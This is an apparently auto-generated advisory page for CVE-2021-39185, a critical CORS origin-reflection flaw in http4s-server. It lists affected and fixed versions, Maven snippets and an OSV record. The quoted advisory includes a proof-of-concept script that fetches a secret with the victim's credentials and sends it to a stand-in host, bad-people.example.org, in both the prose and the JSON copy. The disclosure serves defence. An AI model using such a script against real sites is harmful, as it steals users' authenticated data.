Vulnerabilities in pkg:maven/org.http4s/http4s-server_2.13.0-M5

PACKAGE
Advisory Identifier: GHSA-52cf-226f-rhr6
Advisory Summary

CVE-2021-39185 is a CRITICAL (CVSS 9.1) default cors config allows any vulnerability (CWE-346: Origin Validation Error) affecting Http4s server 2.13.0 M5 libraries in the Maven ecosystem. The issue involves default cors config allows any origin with credentials. Remediation is available by upgrading affected packages to version 0.22.3, 0.23.2, 0.21.27.

2 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:maven/org.http4s/http4s-server_2.13.0-M5

2 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:maven/org.http4s/http4s-server_2.13.0-M5. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-52cf-226f-rhr6 CVE-2021-39185 CRITICAL Default CORS config allows any origin with credentials
GHSA-5vcm-3xc3-w7x3 CVE-2021-41084 HIGH Response Splitting from unsanitized headers

CVE-2021-39185 at a Glance

CVE Identifier CVE-2021-39185
GHSA Identifier GHSA-52cf-226f-rhr6
Severity CRITICAL
CVSS v3.1 Base Score 9.1
CWE Classification CWE-346: Origin Validation Error
Affected Product Http4s server 2.13.0 M5
Package Ecosystem Maven
Published Date
Last Updated

Security Impact

CVSS: 9.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2021-39185

To remediate this vulnerability, upgrade all affected Http4s server 2.13.0 M5 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

org.http4s:http4s-server_2.13.0-M5 fixed: Latest secure release
<dependency>
    <groupId>org.http4s</groupId>
    <artifactId>http4s-server_2.13.0-M5</artifactId>
    <version>Latest secure release</version>
</dependency>
org.http4s:http4s-server_3 fixed: 0.22.3
<dependency>
    <groupId>org.http4s</groupId>
    <artifactId>http4s-server_3</artifactId>
    <version>0.22.3</version>
</dependency>
org.http4s:http4s-server_3 fixed: 0.23.2
<dependency>
    <groupId>org.http4s</groupId>
    <artifactId>http4s-server_3</artifactId>
    <version>0.23.2</version>
</dependency>
org.http4s:http4s-server_2.10 fixed: Latest secure release
<dependency>
    <groupId>org.http4s</groupId>
    <artifactId>http4s-server_2.10</artifactId>
    <version>Latest secure release</version>
</dependency>
org.http4s:http4s-server_2.11 fixed: Latest secure release
<dependency>
    <groupId>org.http4s</groupId>
    <artifactId>http4s-server_2.11</artifactId>
    <version>Latest secure release</version>
</dependency>
org.http4s:http4s-server_2.12 fixed: 0.21.27
<dependency>
    <groupId>org.http4s</groupId>
    <artifactId>http4s-server_2.12</artifactId>
    <version>0.21.27</version>
</dependency>
org.http4s:http4s-server_2.12 fixed: 0.22.3
<dependency>
    <groupId>org.http4s</groupId>
    <artifactId>http4s-server_2.12</artifactId>
    <version>0.22.3</version>
</dependency>
org.http4s:http4s-server_2.12 fixed: 0.23.2
<dependency>
    <groupId>org.http4s</groupId>
    <artifactId>http4s-server_2.12</artifactId>
    <version>0.23.2</version>
</dependency>
org.http4s:http4s-server_2.13 fixed: 0.21.27
<dependency>
    <groupId>org.http4s</groupId>
    <artifactId>http4s-server_2.13</artifactId>
    <version>0.21.27</version>
</dependency>
org.http4s:http4s-server_2.13 fixed: 0.22.3
<dependency>
    <groupId>org.http4s</groupId>
    <artifactId>http4s-server_2.13</artifactId>
    <version>0.22.3</version>
</dependency>
org.http4s:http4s-server_2.13 fixed: 0.23.2
<dependency>
    <groupId>org.http4s</groupId>
    <artifactId>http4s-server_2.13</artifactId>
    <version>0.23.2</version>
</dependency>
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

mvn dependency:tree -Dincludes=org.http4s

How to Check if You Are Affected

To determine whether your Java application is affected by CVE-2021-39185, inspect your build dependencies using the Maven Dependency Plugin:

mvn dependency:tree -Dincludes=org.http4s

Analyze the terminal output to locate any version of Http4s server 2.13.0 M5 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.22.3), your application is affected.

Note: The mvn dependency:tree -Dincludes=org.http4s command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-346: Origin Validation Error, where the product does not properly verify that the source of data or communication is valid. In Http4s server 2.13.0 M5, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Impact #### Origin reflection attack The default CORS configuration is vulnerable to an origin reflection attack. Take the following http4s app `app`, using the default CORS config, running at https://vulnerable.example.com: ```scala val routes: HttpRoutes[F] = HttpRoutes.of { case req if req.pathInfo === "/secret" => Response(Ok).withEntity(password).pure[F] } val app = CORS(routes.orNotFound) ``` The following request is made to our server: ```http GET /secret HTTP/1.1 Host: vulnerable.example.com Origin: https://adversary.example.net Cookie: sessionId=... ``` When the `anyOrigin` flag of `CORSConfig` is `true`, as is the case in the default argument to `CORS`, the middleware will allow sharing its resource regardless of the `allowedOrigins` setting. Paired with the default `allowCredentials`, the server approves sharing responses that may have required credentials for sensitive information with any origin: ```http HTTP/1.1 200 OK Access-Control-Allow-Origin: https://adversary.example.org Access-Control-Allow-Credentials: true Content-Type: text/plain p4ssw0rd ``` A malicious script running on `https://adversary.example.org/` can then exfiltrate sensitive information with the user's credentials to `vulnerable.exmaple.org`: ```javascript var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://vulnerable.example.org/secret',true); req.withCredentials = true; req.send(); function reqListener() { location='//bad-people.example.org/log?key='+this.responseText; }; ``` #### Null origin attack The middleware is also susceptible to a Null Origin Attack. A user agent may send `Origin: null` when a request is made from a sandboxed iframe. The CORS-wrapped http4s app will respond with `Access-Control-Allow-Origin: null`, permitting a similar exfiltration of secrets to the above. ### Patches The problem is fixed in 0.21.27, 0.22.3, 0.23.2, and 1.0.0-M25. The original `CORS` implementation and `CORSConfig` are deprecated. In addition to the origin vulnerability, the following deficiencies in the deprecated version are fixed in the new signatures: ### Migration The `CORS` object exposes a default `CORSPolicy` via `CORS.policy`. This can be configured with various `with*` methods, like any http4s builder. Finally, the `CORSPolicy` may be applied to any `Http`, like any other http4s middleware: ```scala val routes: HttpRoutes[F] = ??? val cors = CORS.policy .withAllowOriginAll .withAllowCredentials(false) .apply(routes) ``` ### Workarounds It is possible to be safe in unpatched versions, but note the following defects exist: * The `anyMethod` flag, enabled by default, accepts methods that cannot be enumerated in the `Access-Control-Allow-Methods` preflight response. * Rejected CORS requests receive a `403` response, when the client should be the enforcement point. The server should just omit all CORS response headers. * Does not send `Vary: Access-Control-Request-Headers` on preflight requests. This may confuse caches. * Does not validate the `Access-Control-Request-Headers` of a preflight request. This validation is not mandated by the Fetch standard, but is typical of most server implementations. * Needlessly sends `Vary: Access-Control-Request-Method` on non-preflight requests. This should be harmless in practice. * Needlessly sends `Access-Control-Max-Age` header on non-preflight requests. This should be harmless in practice. * Sends an invalid `Access-Control-Allow-Credentials: false` instead of omitting the header. This should be harmless in practice. #### Explicit origins In versions before the patch, set `anyOrigin` to `false`, and then specifically include trusted origins in `allowedOrigins`. ##### 0.21.x ```scala val routes: HttpRoutes[F] = ??? val config = CORS.DefaultConfig.copy( anyOrigin = false, allowOrigins = Set("http://trusted.example.com") ) val cors = CORS(routes, config) ``` ###### 0.22.x, 0.23.x, 1.x ```scala val routes: HttpRoutes[F] = ??? val config = CORSConfig.default .withAnyOrigin(false) .withAllowedOrigins(Set("http://trusted.example.com")) val cors = CORS(routes, config) ``` #### Disable credentials Alternatively, sharing responses tainted by credentials can be deprecated. ##### 0.21.x ```scala val routes: HttpRoutes[F] = ??? val config = CORS.DefaultConfig.copy(allowCredentials = false) val cors = CORS(routes, config) ``` ##### 0.22.x, 0.23.x, 1.x ```scala val routes: HttpRoutes[F] = ??? val config = CORSConfig.default.withAllowedCredentials(false) val cors = CORS(routes, config) ``` ### References * The [MDN guide to CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) * [PayloadsAllTheThings CORS misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/6cba7ceda93c3f64559c3e73881c21076536e5fb/CORS%20Misconfiguration/README.md) ### For more information If you have any questions or comments about this advisory: * Open an issue in [GitHub](http://github.com/http4s/http4s) * Contact us via the [http4s security policy](https://github.com/http4s/http4s/security/policy)

CVE-2021-39185 Affected Http4s server 2.13.0 M5 Versions

11 component(s)
Fixed Versions:
0.22.30.23.20.21.27
Product / Package Ecosystem Affected Versions Fixed Version
org.http4s:http4s-server_2.13.0-M5
Maven
org.http4s:http4s-server_3
Maven
≥ 0.22.0
< 0.22.3
0.22.3
org.http4s:http4s-server_3
Maven
≥ 0.23.0
< 0.23.2
0.23.2
org.http4s:http4s-server_2.10
Maven
org.http4s:http4s-server_2.11
Maven
org.http4s:http4s-server_2.12
Maven
< 0.21.27
0.21.27
org.http4s:http4s-server_2.12
Maven
≥ 0.22.0
< 0.22.3
0.22.3
org.http4s:http4s-server_2.12
Maven
≥ 0.23.0
< 0.23.2
0.23.2
org.http4s:http4s-server_2.13
Maven
< 0.21.27
0.21.27
org.http4s:http4s-server_2.13
Maven
≥ 0.22.0
< 0.22.3
0.22.3
org.http4s:http4s-server_2.13
Maven
≥ 0.23.0
< 0.23.2
0.23.2

References

Frequently Asked Questions

What is CVE-2021-39185?
CVE-2021-39185 is a security vulnerability in Http4s server 2.13.0 M5 involving Default CORS config allows any origin with credentials under CWE-346: Origin Validation Error.
Which Http4s server 2.13.0 M5 versions are affected?
Affected versions include releases prior to 0.22.3, 0.23.2, 0.21.27 across affected packages: org.http4s:http4s-server_2.13.0-M5, org.http4s:http4s-server_3, org.http4s:http4s-server_2.10, org.http4s:http4s-server_2.11, org.http4s:http4s-server_2.12, org.http4s:http4s-server_2.13.
What version fixes CVE-2021-39185?
Upgrading to 0.22.3, 0.23.2, 0.21.27 (or the latest patched release for your respective branch) resolves the vulnerability.
Is http4s-server_2.13.0-M5 affected?
Yes, org.http4s:http4s-server_2.13.0-M5 is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
Is http4s-server_3 affected?
Yes, org.http4s:http4s-server_3 is affected in releases prior to 0.22.3, 0.23.2. Upgrade your dependency to 0.22.3, 0.23.2 or later.
What is the CVSS score of CVE-2021-39185?
CVE-2021-39185 has a CVSS v3.1 base score of 9.1 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2021-39185?
CVE-2021-39185 is classified under CWE-346: Origin Validation Error (The product does not properly verify that the source of data or communication is valid.).
How can I check Maven dependencies for CVE-2021-39185?
Run the dependency tree command: 'mvn dependency:tree -Dincludes=org.http4s'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-52cf-226f-rhr6",
  "modified" : "2025-12-11T21:15:42Z",
  "published" : "2021-09-02T16:52:18Z",
  "aliases" : [ "CVE-2021-39185" ],
  "summary" : "Default CORS config allows any origin with credentials",
  "details" : "### Impact\n\n#### Origin reflection attack\n\nThe default CORS configuration is vulnerable to an origin reflection attack.  Take the following http4s app `app`, using the default CORS config, running at https://vulnerable.example.com:\n\n```scala\nval routes: HttpRoutes[F] = HttpRoutes.of {\n  case req if req.pathInfo === \"/secret\" =>\n    Response(Ok).withEntity(password).pure[F]\n}\nval app = CORS(routes.orNotFound)\n```\n\nThe following request is made to our server:\n\n```http\nGET /secret HTTP/1.1\nHost: vulnerable.example.com\nOrigin: https://adversary.example.net\nCookie: sessionId=...\n```\n\nWhen the `anyOrigin` flag of `CORSConfig` is `true`, as is the case in the default argument to `CORS`, the middleware will allow sharing its resource regardless of the `allowedOrigins` setting.  Paired with the default `allowCredentials`, the server approves sharing responses that may have required credentials for sensitive information with any origin:\n\n```http\nHTTP/1.1 200 OK\nAccess-Control-Allow-Origin: https://adversary.example.org\nAccess-Control-Allow-Credentials: true \nContent-Type: text/plain\n\np4ssw0rd\n```\n\nA malicious script running on `https://adversary.example.org/` can then exfiltrate sensitive information with the user's credentials to `vulnerable.exmaple.org`:\n\n```javascript\nvar req = new XMLHttpRequest(); \nreq.onload = reqListener; \nreq.open('get','https://vulnerable.example.org/secret',true); \nreq.withCredentials = true;\nreq.send();\n\nfunction reqListener() {\n    location='//bad-people.example.org/log?key='+this.responseText; \n};\n```\n\n#### Null origin attack\n\nThe middleware is also susceptible to a Null Origin Attack.  A user agent may send `Origin: null` when a request is made from a sandboxed iframe.  The CORS-wrapped http4s app will respond with `Access-Control-Allow-Origin: null`, permitting a similar exfiltration of secrets to the above.\n\n### Patches\n\nThe problem is fixed in 0.21.27, 0.22.3, 0.23.2, and 1.0.0-M25.  The original `CORS` implementation and `CORSConfig` are deprecated.  In addition to the origin vulnerability, the following deficiencies in the deprecated version are fixed in the new signatures:\n\n### Migration\n\nThe `CORS` object exposes a default `CORSPolicy` via `CORS.policy`.  This can be configured with various `with*` methods, like any http4s builder.  Finally, the `CORSPolicy` may be applied to any `Http`, like any other http4s middleware:\n\n```scala\nval routes: HttpRoutes[F] = ???\nval cors = CORS.policy\n  .withAllowOriginAll\n  .withAllowCredentials(false)\n  .apply(routes)\n```\n\n### Workarounds\n\nIt is possible to be safe in unpatched versions, but note the following defects exist:\n\n* The `anyMethod` flag, enabled by default, accepts methods that cannot be enumerated in the `Access-Control-Allow-Methods` preflight response.\n* Rejected CORS requests receive a `403` response, when the client should be the enforcement point. The server should just omit all CORS response headers.\n* Does not send `Vary: Access-Control-Request-Headers` on preflight requests. This may confuse caches.\n* Does not validate the `Access-Control-Request-Headers` of a preflight request. This validation is not mandated by the Fetch standard, but is typical of most server implementations.\n* Needlessly sends `Vary: Access-Control-Request-Method` on non-preflight requests.  This should be harmless in practice.\n* Needlessly sends `Access-Control-Max-Age` header on non-preflight requests.  This should be harmless in practice.\n* Sends an invalid `Access-Control-Allow-Credentials: false` instead of omitting the header.  This should be harmless in practice.\n\n#### Explicit origins\n\nIn versions before the patch, set `anyOrigin` to `false`, and then specifically include trusted origins in `allowedOrigins`.\n\n##### 0.21.x\n\n```scala\nval routes: HttpRoutes[F] = ???\nval config = CORS.DefaultConfig.copy(\n  anyOrigin = false,\n  allowOrigins = Set(\"http://trusted.example.com\")\n)\nval cors = CORS(routes, config)\n```\n\n###### 0.22.x, 0.23.x, 1.x\n\n```scala\nval routes: HttpRoutes[F] = ???\nval config = CORSConfig.default\n  .withAnyOrigin(false)\n  .withAllowedOrigins(Set(\"http://trusted.example.com\"))\nval cors = CORS(routes, config)\n```\n\n#### Disable credentials\n\nAlternatively, sharing responses tainted by credentials can be deprecated.\n\n##### 0.21.x\n\n```scala\nval routes: HttpRoutes[F] = ???\nval config = CORS.DefaultConfig.copy(allowCredentials = false)\nval cors = CORS(routes, config)\n```\n\n##### 0.22.x, 0.23.x, 1.x\n\n```scala\nval routes: HttpRoutes[F] = ???\nval config = CORSConfig.default.withAllowedCredentials(false)\nval cors = CORS(routes, config)\n```\n\n### References\n* The [MDN guide to CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS)\n* [PayloadsAllTheThings CORS misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/6cba7ceda93c3f64559c3e73881c21076536e5fb/CORS%20Misconfiguration/README.md)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [GitHub](http://github.com/http4s/http4s)\n* Contact us via the [http4s security policy](https://github.com/http4s/http4s/security/policy)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.http4s:http4s-server_2.13.0-M5"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "< 0.21.27"
    }
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.http4s:http4s-server_3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.22.0"
      }, {
        "fixed" : "0.22.3"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.http4s:http4s-server_3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.23.0"
      }, {
        "fixed" : "0.23.2"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.http4s:http4s-server_2.10"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "< 0.21.27"
    }
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.http4s:http4s-server_2.11"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "< 0.21.27"
    }
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.http4s:http4s-server_2.12"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.21.27"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.http4s:http4s-server_2.12"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.22.0"
      }, {
        "fixed" : "0.22.3"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.http4s:http4s-server_2.12"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.23.0"
      }, {
        "fixed" : "0.23.2"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.http4s:http4s-server_2.13"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.21.27"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.http4s:http4s-server_2.13"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.22.0"
      }, {
        "fixed" : "0.22.3"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.http4s:http4s-server_2.13"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.23.0"
      }, {
        "fixed" : "0.23.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/http4s/http4s/security/advisories/GHSA-52cf-226f-rhr6"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2021-39185"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/http4s/http4s"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/http4s/http4s/releases/tag/v0.23.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-346" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2021-09-01T19:31:53Z",
    "nvd_published_at" : "2021-09-01T20:15:00Z"
  }
}